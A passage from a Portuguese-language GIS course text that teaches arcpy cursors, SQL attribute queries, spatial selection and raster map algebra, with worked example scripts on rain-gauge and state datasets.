Encontra a precipitação média em um conjunto de postos pluviométricos import arcpy postosPlu = arcpy.GetParameterAsText(0) # Esta linha abaixo é nova campoPrecipitacao = arcpy.GetParameterAsText(1) linhas = arcpy.SearchCursor(postosPlu) linha = linhas.next() media = 0 precipitacaoTotal = 0 contador = 0 # Loop pelos registros e cálculo do total precipitado e contador while linha: # Esta linha abaixo é nova precipitacaoTotal += linha.getValue(campoPrecipitacao) contador += 1 linha = linhas.next() 94 media = precipitacaoTotal / contador print ("Média da precipitação " + str(media)) Veja como você pode executar o script acima em PythonWin, fornecendo o nome do caminho e o campo de precipitação como os argumentos. Executando o script acima no PythonWin Usando um loop for com um cursor (introduzido no ArcGIS 10.0) Embora os exemplos acima usem um loop while em conjunto com o método next() para avançar o cursor, geralmente é mais fácil iterar em cada registro usando um loop for. Isso se tornou possível a partir do ArcGIS 10.0. Veja como o exemplo acima pode ser modificado para usar um loop for. # Encontra a precipitação média em um conjunto de postos pluviométricos import arcpy postosPlu = arcpy.GetParameterAsText(0) campoPrecipitacao = arcpy.GetParameterAsText(1) linhas = arcpy.SearchCursor(postosPlu) media = 0 precipitacaoTotal = 0 contador = 0 # Loop pelos registros e cálculo do total precipitado e contador for linha in linhas: precipitacaoTotal += linha.getValue(campoPrecipitacao) contador += 1 media = precipitacaoTotal / contador print ("Média da precipitação " + str(media)) Neste exemplo, o método next() nem sequer é necessário porque está implícito no loop for que o script irá iterar em cada registro. O objeto chamado linha é declarado quando o loop for é declarado. Embora essa sintaxe seja mais compacta do que usar um loop while, há algum benefício em ver como o método next() funciona, especialmente se você já trabalhou com scripts Python do ArcGIS 9.3.x ou se usa cursores em ArcObjects (que tem conceito semelhante para avançar um cursor linha por linha). No entanto, quando você se acostumar a usar um loop for para percorrer uma tabela, é improvável que você deseje voltar a usar loops while. O módulo de acesso de dados arcpy (introduzido no ArcGIS 10.1) 95 Se você estiver usando o ArcGIS 10.1 ou superior, você pode usar o código acima para cursores de busca, ou você pode usar um novo módulo de acesso a dados que foi introduzido no arcpy. Essas funções de acesso a dados são prefixadas com arcpy.da e oferecem um desempenho mais rápido, juntamente com um comportamento mais robusto, quando falhas ou erros são encontrados no cursor. O módulo de acesso a dados arcpy.da permite que você crie objetos de cursor, assim como o arcpy, mas você os cria de forma um pouco diferente. Observe atentamente o código de exemplo a seguir, que repete o cenário acima para calcular a precipitação média. # coding: utf-8 # Encontra a precipitação média em um conjunto de postos pluviométricos import arcpy postosPlu = arcpy.GetParameterAsText(0) campoPrecipitacao = arcpy.GetParameterAsText(1) media = 0 precipitacaoTotal = 0 contador = 0 with arcpy.da.SearchCursor(postosPlu, (campoPrecipitacao,)) as cursor: for linha in cursor: precipitacaoTotal += linha[0] contador += 1 media = precipitacaoTotal / contador print ("Média da precipitação " + str(media)) Este exemplo usa a mesma estrutura básica que a anterior, com algumas alterações importantes. Uma coisa que você provavelmente notou é que o cursor é criado usando uma instrução "with". Embora a explicação de "with" seja um pouco técnica, a principal coisa a ser entendida é que ela permite que o cursor saia do conjunto de dados normalmente, independentemente de travar ou concluir seu trabalho com êxito. A instrução "with" requer que você indente todo o código abaixo dela. Depois de criar o cursor em sua instrução "with", você iniciará um loop for para percorrer todas as linhas da tabela. Isso requer recuo adicional. Observe que essa instrução "with" cria um objeto SearchCursor e declara que ele será nomeado "cursor" em qualquer código subseqüente. Os cursores de busca criados com o arcpy.da possuem alguns parâmetros de inicialização diferentes dos cursores de pesquisa criados com o arcpy. A maior diferença é que quando você cria um cursor com arcpy.da, você precisa fornecer uma tupla de nomes de campos que serão retornados pelo cursor. Lembre-se de que uma tupla é uma estrutura de dados do Python muito parecida com uma lista, exceto que ela é colocada entre parênteses e seu conteúdo não pode ser modificado. Fornecer essa tupla acelera o trabalho do cursor porque ele não precisa lidar com as potencialmente dezenas de campos incluídos em seu conjunto de dados. No exemplo acima, a tupla contém apenas um campo, campoPrecipitacao. Uma tupla com apenas um item contém uma vírgula após o item, portanto, nossa tupla acima é semelhante a: (campoPrecipitacao,). Se a tupla tivesse vários itens, poderíamos ver algo como: (campoPrecipitacao, campoNome). Observe que com arcpy.da, você usa objetos de linha como com arcpy; no entanto, você não usa o método getValue para recuperar valores das linhas. Em vez disso, você usa a posição do índice do nome do campo na tupla que você enviou quando criou o objeto. Como o exemplo acima submete apenas um item na tupla, a posição do índice de campoPrecipitacao dentro dessa tupla é 0 (lembre-se de que começamos a contar a partir 96 de 0 no Python). Portanto, você pode usar linha[0] para obter o valor de campoPrecipitacao para uma linha específica. Como a maioria dos estudantes atualmente usa o ArcGIS versões superiores a10.1, os exemplos deste ponto em diante usam o módulo arcpy de acesso a dados. Vale a pena concentrar-se nas funções do arcpy.da porque ele tornará seu código mais rápido, mais compacto e mais robusto. Você é obrigado a usar o arcpy.da em seu código de projeto da etapa 3. Recuperando registros usando uma consulta de atributo Os exemplos anteriores usavam o objeto SearchCursor para ler cada registro em um conjunto de dados. Você pode ser mais específico com o cursor de pesquisa instruindo-o a recuperar apenas um subconjunto de registros cujos atributos atendem a alguns critérios, por exemplo, "somente registros com uma precipitação maior que 1000" ou "todos os registros que começam com as letras P - Z " Revisando, é assim que você constrói um cursor de pesquisa para operar em cada registro de um conjunto de dados usando o módulo arcpy.da: with arcpy.da.SearchCursor (fc, (campo,)) as cursor: Se você quiser que o cursor de pesquisa recupere apenas um subconjunto dos registros com base em alguns critérios, é possível fornecer uma expressão SQL como o terceiro argumento no construtor (o construtor é o método que cria o SearchCursor). Por exemplo: with arcpy.da.SearchCursor (fc, (campo,), 'Campo1 "> 1000') as cursor: O exemplo acima usa a expressão SQL "Campo1"> 1000 para recuperar somente os registros cuja Campo1 é maior que 1000. SQL significa "Structured Query Language" e é uma sintaxe especial usada para consultar conjuntos de dados. Se você já usou uma consulta para filtrar dados no ArcMap, então você teve alguma exposição a esses tipos de consultas SQL. Se o SQL é novo para você, por favor, dedique alguns minutos para ler Construindo uma expressão de consulta na Ajuda do ArcGIS Desktop. Este tópico é uma introdução simples ao SQL no contexto do ArcGIS. http://desktop.arcgis.com/en/arcmap/latest/map/working-with-layers/building-a-query- expression.htm Expressões SQL podem conter uma combinação de critérios que permitem identificar um subconjunto de registros muito específicos. A complexidade da sua consulta é limitada apenas pelos seus dados disponíveis. Por exemplo, você poderia usar uma expressão SQL para localizar apenas cidades com uma densidade populacional superior a 100 pessoas por km quadrado, que começam com a letra M e foram criadas após 1950. Observe que a expressão SQL que você fornece para um cursor de pesquisa é para consultas de atributo, não para consultas espaciais. Você não pode usar uma expressão SQL para selecionar registros que caiam "a oeste do rio Tietê" ou "dentro do limite do estado de SP", a menos que você tenha adicionado e preenchido algum atributo afirmando se essa condição era verdadeira. Mais adiante nesta lição, falaremos sobre como fazer consultas espaciais usando a ferramenta de geoprocessamento Select By Location. 97 Depois de recuperar o subconjunto de registros, você pode seguir o mesmo padrão de iteração através deles usando um loop for. with arcpy.da.SearchCursor(postosPlu, (campoPrecipitacao,), '"Total_2018" > 1000') as cursor: for linha in cursor: print (str(linha[0])) Manipulando as aspas Quando você inclui uma expressão SQL em seu construtor SearchCursor, deve fornecê-la como uma string. É aqui que as coisas podem ficar complicadas com as aspas. O SQL exige aspas simples e duplas em locais específicos, mas também é necessário incluir a expressão inteira entre aspas, porque é uma string. Como você evita ficar confuso? No Python, você pode usar aspas simples ou aspas duplas para incluir uma string. Você deve ter notado que no exemplo acima, coloquei a expressão SQL entre aspas simples, e não aspas duplas: '"Total_2018">1000'. Como eu sabia que as aspas duplas seriam necessárias na instrução SQL (para cercar o nome do campo), usei aspas simples para cercar a string inteira. Isto não é apenas para manter as coisas fáceis de ler; se eu tivesse usado duas aspas duplas em uma linha, o interpretador Python ficaria confuso e pensaria que eu estava criando uma string vazia. Portanto, não foi uma opção usar ""Total_2018">1000". A situação fica mais difícil quando sua expressão SQL deve usar aspas simples e duplas, por exemplo, quando você consulta uma variável de string. Suponha que seu script permita que o usuário insira o ID de um posto Plu e você precise encontrá-lo com um cursor de pesquisa. \supondo que alguns dos IDs dos postos incluem letras e outros não, portanto, você precisa sempre tratar o ID dos postos como uma string. Sua expressão SQL provavelmente ficaria assim: "codigo" = 'PLU0001'. Essa expressão começa com aspas duplas e termina com aspas simples, portanto, qual estilo de aspas você usa para delimitar toda a expressão? Nesse caso, você não pode simplesmente colocar a expressão inteira em um estilo de aspas; você precisa dividir a expressão em strings separadas. Veja de perto este exemplo: ID = arcpy.GetParameterAsText(0) expressaoSQL = '"codigo"' + " = '" + str(ID) + "'" with arcpy.da.SearchCursor(postosPlu, (campoCodigo,), expressaoSQL) as cursor: ... No código acima, a variável expressaoSQL, ou a expressão SQL, é criado em partes gerenciáveis que não misturam aspas simples e duplas. Se a parte da expressão contiver aspas duplas, como "codigo", ela estará entre aspas simples. Se a parte da expressão contiver aspas simples, como = ' ou apenas ', ela estará entre aspas duplas. Esse tipo de situação é onde pode ser útil incluir temporariamente uma instrução print em seu código ou usar as ferramentas de depuração para garantir que a variável expressaoSQL seja construída corretamente. Pode ser útil se você puder treinar seu olho para se concentrar no sinal + como um separador entre todas as partes independentes da sequência que você está construindo. Delimitadores de campo Nos exemplos acima, os nomes de campo estão entre aspas duplas (por exemplo, "codigo"). Esta é a sintaxe correta para shapefiles e file geodatabases, que são os únicos tipos de dados que usaremos neste curso. Se você usa personal geodatabases em seu 98 trabalho diário, existem diferentes maneiras de delimitar o nome do campo. Se você estiver interessado na sintaxe correta para diferentes tipos de dados, ou em maneiras de tornar seu script flexível para qualquer tipo de dados, dê uma olhada no tópico Referência SQL para expressões de consulta usadas no ArcGIS na Ajuda do ArcGIS Desktop. http://desktop.arcgis.com/en/arcmap/latest/map/working-with-layers/sql-reference-for- query-expressions-used-in-arcgis.htm Recuperando registros usando uma consulta espacial A aplicação de uma expressão SQL ao cursor de pesquisa é útil apenas para consultas de atributos, não para consultas espaciais. Por exemplo, você pode facilmente abrir um cursor de pesquisa para todos os setores censitários de um determinado município pelo atributo de código do município usando uma expressão SQL, mas encontrar todos os municípios que tocam ou incluem o rio Tietê, por exemplo, requer uma abordagem diferente. Para obter um subconjunto de registros com base em um critério espacial, é necessário usar uma ferramenta de geoprocessamento chamada de “Select Layer By Location”. Nota: Alguns bancos de dados relacionais, como o SQL Server 2008, podem incluir tipos de dados espaciais que podem ser consultados espacialmente com o SQL. O suporte para esses tipos espaciais no ArcGIS ainda está amadurecendo e, neste curso, vamos supor que a maneira de fazer uma consulta espacial é através da ferramenta apresentada. Como não estamos usando o ArcSDE, isso é realmente verdade. Aqui você precisa entender um pouco sobre como o ArcGIS trabalha com layers e seleções. Suponha que você queira selecionar todos os estados cujos limites tocam em São Paulo. Na maioria dos casos, você não precisará criar uma classe de feições totalmente nova para manter esses estados específicos; você provavelmente só precisará manter esses registros de estado específicos na memória do computador por um curto período de tempo enquanto atualiza algum atributo. O ArcGIS usa o conceito de camadas de feições (feature layers) para representar conjuntos de registros em memória de uma classe de feições. A ferramenta Make Feature Layer cria uma camada de feição a partir de alguns ou de todos os registros em uma classe de feição. Você pode aplicar uma expressão SQL ao executar a opção Make Feature Layer para restringir os registros incluídos na camada de feição com base nos atributos. Posteriormente, você pode usar Select Layer By Location para restringir os registros na camada de feição com base em alguns critérios espaciais. Abrir um cursor de pesquisa estado de São Paulo e em todos os estados que fazem fronteira com ele levaria quatro etapas: • Use a ferramenta Make Feature Layer para criar uma camada de feição de todos os estados. Vamos chamar isso de camada “todosEstados”. • Use a opção Make Feature Layer para criar uma segunda camada de feições apenas de São Paulo. (Para obter São Paulo sozinho, você aplicaria uma expressão SQL ao criar a camada de feição.) Vamos chamar isso de “layerSelEstados”. • Use a ferramenta Select Layer By Location para restringir a camada todosEstados (a camada criada anteriormente) para apenas os estados que tocam em layerSelEstados. 99 • Abra um cursor de pesquisa na camada todosEstados. O cursor incluirá apenas São Paulo e os estados que o tocam, porque há uma seleção aplicada à essa camada. Lembre-se de que a camada de feição é apenas um conjunto de registros mantidos na memória. Mesmo se você chamar a camada todosEstados, ela não incluirá mais todos os estados depois que você aplicar uma seleção. Abaixo está um código que aplica as etapas acima. # Seleciona todos estados que fazem fronteira com um estado selecionado import arcpy # Recupera o layer de estados, e o nome do campo para o nome dos estados estadosLayer = "C:\SEA5923\Dados\Estados\Estados.shp" estado = "São Paulo" nomeCampo = "Nome" try: # Make a feature layer com todos os estados arcpy.MakeFeatureLayer_management(estadosLayer, "todosEstados") # Make a feature layer contend somente São Paulo arcpy.MakeFeatureLayer_management(estadosLayer, "layerSelEstados", '"' + str(nomeCampo) + '" =' + "'" + str(estado) + "'") # Aplica a seleção para o layer dos estados arcpy.SelectLayerByLocation_management("todosEstados","BOUNDARY_TOUCHES", "layerSelEstados") # Abre um search cursor with arcpy.da.SearchCursor("todosEstados", (nomeCampo,)) as cursor: for linha in cursor: # Print o nome de todos os estados da seleção print (linha[0]) except: print (arcpy.GetMessages()) finally: # Limpa as camadas de feições e o cursor arcpy.Delete_management("todosEstados") arcpy.Delete_management("layerSelEstados") del cursor Você pode escolher entre vários operadores espaciais ao executar o SelectLayerByLocation. O código acima usa "BOUNDARY_TOUCHES". Outros relacionamentos disponíveis são "INTERSECT", "WITHIN A DISTANCE" (você pode salvar uma etapa de armazenamento em buffer), "CONTAINS", "CONTAINED_BY" e outros. Observe que o objeto Row "linha" retorna apenas um campo ("NOME"), que é acessado usando sua posição de índice na lista de campos. Como há apenas um campo, esse índice é 0 e a sintaxe é semelhante a: linha[0]. Depois de abrir o cursor de pesquisa nos registros selecionados, você poderá executar qualquer ação que desejar. O código acima apenas imprime o nome do estado, mas é mais provável que você queira resumir ou atualizar os valores dos atributos. Você aprenderá a escrever valores de atributos posteriormente nesta lição. 100 Limpando camadas de feições e cursores Observe que as camadas de feições são excluídas usando a ferramenta Delete. Isso ocorre porque as camadas de feições podem ocacionar bloqueios em seus dados, impedindo que outros aplicativos usem os dados até que seu script seja concluído. O Arcpy deve limpar as camadas de feições no final do script, mas é uma boa idéia excluí-las você mesmo, caso isso não aconteça ou caso ocorra uma falha. Nos exemplos acima, o bloco except é acionado no caso de uma falha, então o script continuará e executará a ferramenta Delete. Cursores também podem manter bloqueios nos dados. Como mencionado anteriormente, a instrução "with" deve limpar o cursor automaticamente para você. No entanto, descobrimos que nem sempre, uma observação que parece ser apoiada por esta sinopse da documentação da ESRI da classe arcpy.da.SearchCursor. http://desktop.arcgis.com/en/arcmap/latest/analyze/arcpy-data-access/searchcursor- class.htm Os cursores de pesquisa também suportam instruções para redefinir a iteração e ajudam na remoção de bloqueios. No entanto, usar uma instrução del para excluir o objeto ou envolver o cursor em uma função para que o objeto do cursor fique fora de escopo deve ser considerado para proteger contra todos os casos de bloqueio. Um último ponto a relatar sobre este código que limpa as camadas de feições e o cursor é que ele é incorporado dentro de um bloco finally. Essa é uma construção que é usada ocasionalmente com try e except para definir o código que deve ser executado, independentemente de as instruções no bloco try serem executadas com êxito. Para entender a utilidade do bloco finally, imagine se você tivesse colocado essas instruções de limpeza no final do bloco try. Se um erro ocorrer em algum lugar acima desse ponto no bloco try - não é difícil imaginar, certo? - o restante do bloco try não seria executado, deixando as camadas de feições e o cursor na memória. Uma execução subseqüente do script, após corrigir o erro, encontraria um novo problema: o script não poderia criar a camada de feições chamada "todosEstados" porque ela já existiria. Em outras palavras, as instruções de limpeza só seriam executadas se o restante do script fosse executado com êxito. Esta situação é onde a declaração finally é especialmente útil. O código em um bloco finally será executado independentemente de algo no bloco try disparar uma falha. (No caso de um erro ser encontrado, o código final será executado após o bloco except.) Assim, conforme você desenvolve seu próprio código utilizando camadas de feição e / ou cursores, é uma boa idéia incluir essas instruções de limpeza em um bloco finally. Leitura obrigatória Examine as seguintes páginas de referência de ferramentas. Você pode ignorar a seção Sintaxe da Linha de Comando, mas preste atenção particular às Dicas de Uso e aos Exemplos de Script. • Make a Feature Layer http://desktop.arcgis.com/en/arcmap/latest/tools/data-management-toolbox/make- feature-layer.htm • Select Layer By Location http://desktop.arcgis.com/en/arcmap/latest/tools/data-management-toolbox/select-layer- by-location.htm • Select Layer By Attribute 101 • http://desktop.arcgis.com/en/arcmap/latest/tools/data-management-toolbox/select-layer- by-attribute.htm Escrevendo atributos em dados de vetores Da mesma forma que você usa cursores para ler dados de atributos de vetores, você também usa cursores para gravar dados. Dois tipos de cursores são fornecidos para gravar dados: • Update cursor - este cursor edita valores em registros existentes ou exclui registros • Insert cursor - este cursor insere novos registros Nas seções a seguir, você aprenderá sobre esses dois cursores e obterá algumas dicas para usá-los. Leitura obrigatória A Ajuda do ArcGIS Desktop tem alguma explicação sobre os cursores. Familiarize-se com essa ajuda, pois ela o preparará para as próximas seções da lição. Você também achará útil retornar aos exemplos de código enquanto trabalha no Projeto 3: Acessando dados usando cursores http://desktop.arcgis.com/en/arcmap/latest/analyze/python/data-access-using- cursors.htm Siga também os três links da tabela no início do tópico acima. Estes explicam brevemente o InsertCursor, SearchCursor e UpdateCursor e fornecem um exemplo de código para cada um. Você já trabalhou com o SearchCursor, mas examine atentamente os exemplos de código para os três tipos de cursor e veja se consegue determinar o que está acontecendo em cada um deles. http://desktop.arcgis.com/en/arcmap/latest/analyze/arcpy-data-access/insertcursor- class.htm http://desktop.arcgis.com/en/arcmap/latest/analyze/arcpy-data-access/searchcursor- class.htm http://desktop.arcgis.com/en/arcmap/latest/analyze/arcpy-data-access/updatecursor- class.htm Atualizando registros existentes Use o cursor de atualização para modificar os registros existentes em um conjunto de dados. Aqui estão os passos gerais para usar o cursor de atualização: • Crie o cursor de atualização chamando arcpy.da.UpdateCursor(). Você pode, opcionalmente, passar uma expressão SQL como um argumento para esse método. Essa é uma boa maneira de restringir as linhas que você deseja editar se você não estiver interessado em modificar todas as linhas da tabela. • Use um loop for para percorrer as linhas e para cada linha ... 102 • Modifique os valores do campo na linha que precisam de atualização (veja abaixo). • Chame UpdateCursor.updateRow() para finalizar a edição. Modificando valores de campo Quando você cria um UpdateCursor e percorre as linhas usando uma variável chamada “linha”, é possível modificar os valores do campo fazendo atribuições usando a sintaxe linha[<index do campo que deseja alterar>] = <o novo valor> . Por exemplo: linha[0] = "Fulano de Tal" É importante observar que o índice que ocorre para determinar [...] qual campo será alterado é dado com relação à tupla de campos fornecidos quando o UpdateCursor é criado. Por exemplo, se criarmos o cursor usando o seguinte comando with arcpy.da.UpdateCursor (fc, ("empresa", "proprietario")) as cursor: linha [0] refere-se ao campo denominado "empresa" e a linha [1] refere-se ao campo que possui o nome "proprietario". Exemplo O script abaixo executa uma operação de "pesquisa e substituição" em uma tabela de atributos. Por exemplo, suponha que você tenha um conjunto de dados representando postos pluviométricos. Existe um campo da tabela de atributos que indica o órgão responsável pela manutenção do posto. Imagine que um destes órgãos foi substituido. Você precisa encontrar todas as instâncias respectivas ao órgão substituído e alterá-las pelo novo nome do órgão substituto. Esse script pode executar essa tarefa automaticamente. # Exemplo de script de pesquisa e substituição import arcpy # Parâmetros de entrada: a classe de feição, o campo afetado # pela pesquisa e substituição, o termo de pesquisa e o termo de # substituição. fc = arcpy.GetParameterAsText(0) campoAfetado = arcpy.GetParameterAsText(1) valorAntigo = arcpy.GetParameterAsText(2) valorNovo = arcpy.GetParameterAsText(3) # Criando a expressão SQL para o update cursor expressaoSQL = '"' + campoAfetado + '" = ' + "'" + valorAntigo + "'" # Cria update cursor e atualiza cada linha retornada pela expressão SQL with arcpy.da.UpdateCursor(fc, (campoAfetado,), expressaoSQL) as cursor: for linha in cursor: linha[0] = valorNovo cursor.updateRow(linha) del linha, cursor Observe que esse script é relativamente flexível porque recebe todos os parâmetros como texto. No entanto, esse script pode ser executado apenas em variáveis de string devido à maneira como a string de consulta é configurada. Observe que o valor antigo é colocado entre aspas, assim: "'" + valorAntigo + "'". O manuseio de outros tipos de variáveis, como inteiros, teria tornado o exemplo mais longo. Novamente, é essencial entender a tupla dos campos afetados que você passa quando cria o cursor de atualização. Neste exemplo, há apenas um campo afetado (que chamamos 103 de campoAfetado), portanto, sua posição de índice é 0 na tupla. Portanto, você define esse valor de campo usando linha[0] = valorNovo . A limpeza do cursor não é necessária no final do script porque isso é realizado por meio da instrução "with". A última linha com updateRow(..) é necessária para garantir que a linha modificada seja realmente gravada de volta na tabela de atributos. Por favor, note que a linha variável precisa ser passada como um parâmetro para updateRow(linha). Para testar este script utilize a classe de feições de postos pluviométricos, o campo “orgao” e substitua o valor de “ANA” para “SANEPAR” por exemplo. C:\SEA5923\Dados\PostosPLU.shp Bloqueio do conjunto de dados Como mencionamos, o ArcGIS às vezes bloqueia os conjuntos de dados para evitar a possibilidade de conflitos entre dois usuários. Se por algum motivo você acha que um bloqueio do seu script está afetando seu conjunto de dados (impedindo que você o visualize, fazendo com que pareça que todas as linhas foram excluídas etc.), é necessário fechar o PythonWin para remover o bloqueio. Se você acha que o ArcGIS tem um bloqueio em seus dados, verifique se o ArcMap ou o ArcCatalog estão usando os dados de alguma forma. Isso pode ocorrer por meio de uma sessão de edição aberta nos dados, com os dados abertos na guia Visualizar no ArcCatalog ou com a camada selecionada em um documento de mapa aberto (MXD). Como dissemos, a limpeza do cursor deve acontecer através da criação do cursor dentro de uma instrução "with", mas adicionar linhas para excluir os objetos de linha e cursor fará com que bloqueios com certeza sejam liberados. Para entender como o bloqueio funciona, você pode revisar a seção "Cursores e bloqueio" no tópico “Acessando dados usando cursores” na Ajuda do ArcGIS Desktop. https://pro.arcgis.com/en/pro-app/arcpy/get-started/data-access-using-cursors.htm Inserindo novos registros Ao adicionar um novo registro a uma tabela, você deve usar o cursor de inserção. Aqui está o fluxo de trabalho para cursores de inserção: • Crie o cursor de inserção usando arcpy.da.InsertCursor() . • Chame InsertCursor.insertRow() para adicionar uma nova linha ao conjunto de dados. Como com o cursor de pesquisa e atualização, você pode usar um cursor de inserção junto com a instrução "with" para evitar problemas de bloqueio. Os cursores de inserção diferem dos cursores de pesquisa e atualização, pois você não pode fornecer uma expressão SQL ao criar o cursor de inserção. Isso faz sentido porque um cursor de inserção está preocupado apenas em adicionar registros à tabela. Não precisa "saber" sobre os registros existentes ou qualquer subconjunto deles. Quando você insere uma linha usando InsertCursor.insertRow (), você fornece uma tupla de valores separados por vírgulas para os campos da nova linha. A ordem desses valores deve corresponder à ordem de valores da tupla de campos afetados que você forneceu quando criou o cursor. Por exemplo, se você criar o cursor usando 104 with arcpy.da.InsertCursor (fc, ("Nome", "Sobrenome")) as cursor: você adicionaria uma nova linha com os valores "Fulano" para "Nome" e "Sicrano" para "Sobrenome" pelo seguinte comando: cursor.insertRow(("Fulano", "Sicrano")) Por favor, note que os parênteses internos são necessários para transformar os valores em uma tupla que é passada para insertRow(). Escrevendo cursor.insertRow("Fulano", "Sicrano") resultaria em um erro. Exemplo O exemplo abaixo usa um cursor de inserção para criar um novo ponto em um conjunto de dados e atribuir um atributo a ele: uma descrição de string. Esse script poderia ser usado por trás de um aplicativo no qual pessoas poderiam indicar as coordenadas e digitar uma descrição de um incidente que precisa ser resolvido pelo município, como uma iluminação quebrada, por exemplo. # Adiciona um ponto e a sua descrição import arcpy # Valores de entrada coorX = arcpy.GetParameterAsText(0) coorY = arcpy.GetParameterAsText(1) descricao = arcpy.GetParameterAsText(2) # Parâmetros fixos, que o usuário não pode alterar notificacaoFC = "C:/SEA5923/Dados/notificacoes.shp" campoDescricao = "DESCR" # Criando a tupla com os campos camposAfetados = ("SHAPE@XY", campoDescricao) # Criando o cursor with arcpy.da.InsertCursor(notificacaoFC, camposAtefatos) as cursor: # Inserindo a linha e informando a tupla de campos afetados cursor.insertRow(((float(coorX),float(coorY)), descricao)) del cursor Reserve um momento para garantir que você saiba exatamente como o seguinte é feito no código: • A criação do cursor de inserção com uma tupla de campos afetados armazenados na variável campoAfetados • A inserção da linha pelo método insertRow() usando variáveis que contêm os valores de campo da nova linha Se esse script estivesse realmente alimentando um aplicativo interativo, os valores X e Y poderiam ser derivados de um ponto em que um usuário clicou em um mapa da Web, e não como parâmetros, como feito no script. Uma coisa que você deve ter notado é que a string "SHAPE@XY" é usada para especificar o campo Shape. Você poderia esperar que isso fosse realizado apenas com "Shape", mas o arcpy.da fornece uma lista de "tokens" que você pode usar se o campo for especificado de uma determinada maneira. No nosso caso, seria muito conveniente apenas fornecer os valores X e Y dos pontos usando uma tupla de coordenadas. Acontece que o token "SHAPE@XY" permite que você faça exatamente isso. Veja o tópico de ajuda do InsertCursor para aprender sobre outros tokens que você pode usar. 105 http://desktop.arcgis.com/en/arcmap/latest/analyze/arcpy-data-access/insertcursor- class.htm Colocando tudo isso junto, o exemplo cria uma tupla de campos afetados: ("SHAPE@XY", "DESCR"). Observe que, usamos realmente a variável campoDescricao que contém o nome da segunda coluna "DESCR" para o segundo elemento da tupla. Usar uma variável para armazenar o nome da coluna que nos interessa nos permite adaptar facilmente o script mais tarde, por exemplo, a um conjunto de dados em que a coluna tem um nome diferente. Quando a linha é inserida, os valores para esses itens são fornecidos na mesma ordem: cursor.insertRow(((float(coorX), float(coorY)), descricao)). O argumento passado para insertRow () é uma tupla que possui outra tupla (coorX, coorY), ou seja, as coordenadas dos pontos, como o primeiro elemento e o texto para o campo "DESCR" como o segundo elemento. Leituras Reserve alguns minutos para ler o Zandbergen 7.1 - 7.3 para reforçar seu aprendizado sobre cursores. Trabalhando com rasters Até agora, nesta lição, seus scripts apenas leram e editaram conjuntos de dados vetoriais. Este trabalho consiste, em grande parte, em percorrer tabelas de registros e ler e escrever valores em determinados campos. Os dados rasterizados são muito diferentes e consistem apenas em uma série de células, cada uma com seu próprio valor. Então, como você acessa e manipula dados raster usando o Python? É improvável que você precise percorrer célula por célula usando o Python, e essa técnica está fora do escopo deste curso. Em vez disso, você geralmente usa ferramentas predefinidas para ler e manipular rasters. Essas ferramentas foram projetadas para operar em vários tipos de rasters e executar os cálculos célula por célula para que você não precise. No ArcGIS, a maioria das ferramentas que você usará ao trabalhar com rasters estará no conjunto de ferramentas Data Management> Raster ou na caixa de ferramentas do Spatial Analyst. Essas ferramentas podem reprojetar, recortar, mosaicar e reclassificar rasters. A caixa de ferramentas do Spatial Analyst também contém ferramentas para executar álgebra de mapas em rasters. Multiplicar ou adicionar muitos rasters juntos usando a álgebra de mapas é importante para cenários de seleção de locais em SIG. Por exemplo, você pode estar tentando encontrar a melhor localização para um novo aterro sanitário e tem sete critérios que devem ser atendidos. Se você pode criar uma varredura booleana (contendo 1 para adequado, 0 para inadequado) para cada critério, você pode usar a álgebra de mapa para multiplicar os rasters e determinar quais células recebem uma pontuação de 1, atendendo a todos os critérios. (Alternativamente, você pode adicionar os rasters e determinar quais áreas receberam um valor de 7). A parte complicada da álgebra do mapa é a construção da expressão, que é uma string que indica o que a operação de álgebra do mapa deve fazer. O ArcGIS Desktop contém interfaces para construir uma expressão para execuções únicas da ferramenta. Mas e se você quiser executar a análise várias vezes ou com diferentes conjuntos de dados? É um 106 desafio mesmo no ModelBuilder construir uma expressão flexível nas ferramentas de álgebra do mapa. Com o Python, você pode manipular a expressão tanto quanto precisar. Exemplo Examine o exemplo a seguir, que recebe um valor mínimo e máximo de elevação como parâmetros e faz alguma álgebra de mapa com esses valores. A expressão isola áreas em que a elevação é maior que o parâmetro mínimo e menor que o parâmetro máximo. As células que satisfazem a expressão recebem um valor de 1 pelo software e as células que não satisfazem a expressão recebem um valor de 0. Mas e se você não quiser que esses 0 valores bagunçam sua imagem? Este script elimina os 0s executando a ferramenta Reclassify com uma tabela de remapeamento simples informando que os valores de rasterização de entrada de 1 devem permanecer 1. Como 0 é deixado de fora da tabela de remapeamento, ele é reclassificado como NoData: # Este script pega um MNT e reclassifica as áreas entre uma # valor min e max import arcpy from arcpy.sa import * arcpy.env.overwriteOutput = True arcpy.env.workspace = "C:/SEA5923/Dados" # Parâmetros de elevação min e max min = arcpy.GetParameterAsText(0) max = arcpy.GetParameterAsText(1) arcpy.CheckOutExtension("Spatial") # Realiza a álgebra de mapa e cria um raster temporário MDE = Raster("MDE_onca.tiff") tempRaster = (MDE > int(min)) & (MDE < int(max)) # Configura a tabela de remapeamento e chama Reclassify, deixando todos # os valores diferentes 1 como NODATA tabela = RemapValue([[1,1]]) novoRaster = Reclassify(tempRaster, "Value", tabela, "NODATA") # Salva o raster reclassificado no disco novoRaster.save("MDE_onca_recl.tiff") arcpy.CheckInExtension("Spatial") Leia o exemplo acima cuidadosamente, quantas vezes forem necessárias para você entender o que está ocorrendo em cada linha. Observe as seguintes coisas: • Existe uma rasterização intermediária (em outras palavras, não a saída final) que você não deseja ter no diretório de saída. Isso é chamado de tempRaster no script. • Observe que a expressão contém sinais > e <, assim como o operador &. Você tem que colocar cada lado da expressão entre parênteses para evitar confundir o operador &. • Como temos arcpy.GetParameterAsText() para obter os parâmetros de entrada, é necessário converter essas entradas em um inteiros antes de poder fazer a álgebra do mapa com ela. Se usássemos apenas o min, o software veria "700", por exemplo, e tentaria interpretá-lo como uma string. Para fazer a comparação numérica, temos que usar int(min). Então o software vê o número 700 em vez da string "700". • A álgebra de mapas pode executar muitos tipos de matemática e operações em rasters, não limitadas a "maior que" ou "menor que". Por exemplo, você pode usar a álgebra de mapa para encontrar o cosseno de um raster. • Observe que o script não chama as funções de análise espacial usando arcpy. Em vez disso, ele importa funções do módulo Spatial Analyst (arcpy.sa import *) e chama as 107 funções diretamente. Por exemplo, não vemos arcpy.Reclassify() ; em vez disso, apenas chamamos Reclassify() diretamente. • Consulte o tópico Remapear Classes na ajuda para entender como a tabela de remapeamento neste exemplo foi criada. Sempre que você executar o Reclassify, será necessário criar uma tabela de remapeamento indicando como os valores antigos devem ser reclassificados para novos valores. Este exemplo tem a mais simples tabela de remapeamento possível, mas se você quiser uma tabela de remapeamento mais complexa, precisará estudar a documentação. 